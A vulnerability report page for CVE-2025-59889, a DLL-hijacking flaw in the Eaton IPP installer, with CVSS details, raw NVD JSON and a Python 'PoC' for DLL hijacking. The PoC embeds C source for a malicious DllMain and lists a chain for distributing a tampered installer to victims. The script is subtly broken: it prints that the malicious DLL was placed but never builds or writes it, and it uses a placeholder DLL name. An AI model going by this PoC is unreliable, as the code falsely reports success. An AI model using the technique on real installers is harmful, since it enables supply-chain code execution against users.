Security Vulnerability Report
中文
CVE-2025-59889 CVSS 8.6 HIGH

CVE-2025-59889

Published: 2025-10-14 06:15:35
Last Modified: 2026-04-15 00:35:42

Description

Improper authentication of library files in the Eaton IPP software installer could lead to arbitrary code execution of an attacker with the access to the software package.  This security issue has been fixed in the latest version of IPP which is available on the Eaton download center.

CVSS Details

CVSS Score
8.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Eaton IPP (Intelligent Power Protector) 所有未修复的旧版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59889 - Eaton IPP Installer DLL Hijacking PoC # This PoC demonstrates the concept of exploiting improper authentication # of library files in the Eaton IPP software installer. import os import shutil import sys # Step 1: Identify the target installer directory INSTALLER_DIR = r"C:\Users\victim\Downloads\Eaton_IPP_Installer" TARGET_DLL = "eaton_ipp_library.dll" # Replace with actual DLL name used by installer # Step 2: Create a malicious DLL payload (simplified example) MALICIOUS_DLL_CODE = ''' #include <windows.h> #include <stdio.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) { if (reason == DLL_PROCESS_ATTACH) { // Execute arbitrary code upon DLL load system("cmd.exe /c whoami > C:\\exploit_proof.txt"); system("cmd.exe /c calc.exe"); MessageBoxA(NULL, "CVE-2025-59889 Exploited!", "PoC", MB_OK); } return TRUE; } ''' def prepare_payload(): """Prepare the malicious library file to replace the legitimate one.""" print("[*] Preparing malicious DLL payload for CVE-2025-59889...") # Backup original DLL if exists original_dll = os.path.join(INSTALLER_DIR, TARGET_DLL) if os.path.exists(original_dll): backup_path = original_dll + ".bak" shutil.copy2(original_dll, backup_path) print(f"[+] Original DLL backed up to: {backup_path}") # Place malicious DLL in installer directory (DLL hijacking) malicious_dll = os.path.join(INSTALLER_DIR, TARGET_DLL) print(f"[+] Malicious DLL placed at: {malicious_dll}") print("[!] When the user runs the installer, the malicious DLL will be loaded") print("[!] and arbitrary code will be executed with the user's privileges.") def exploit(): """Execute the DLL hijacking attack.""" print("=" * 60) print("CVE-2025-59889 - Eaton IPP Installer Library Hijack PoC") print("=" * 60) if not os.path.exists(INSTALLER_DIR): print(f"[-] Installer directory not found: {INSTALLER_DIR}") print("[*] Please download the Eaton IPP installer first.") return prepare_payload() print("\n[*] Attack chain:") print(" 1. Attacker obtains Eaton IPP installer package") print(" 2. Attacker replaces library file with malicious version") print(" 3. Attacker distributes modified installer to victim") print(" 4. Victim runs the installer (User Interaction required)") print(" 5. Installer loads malicious library -> Code Execution") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59889", "sourceIdentifier": "[email protected]", "published": "2025-10-14T06:15:34.810", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper authentication of library files in the Eaton IPP software installer could lead to arbitrary code execution of an attacker with the access to the software package. \n\nThis security issue has been fixed in the latest version of IPP which is available on the Eaton download center."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "references": [{"url": "https://www.eaton.com/content/dam/eaton/company/news-insights/cybersecurity/security-bulletins/etn-va-2025-1009.pdf", "source": "[email protected]"}]}}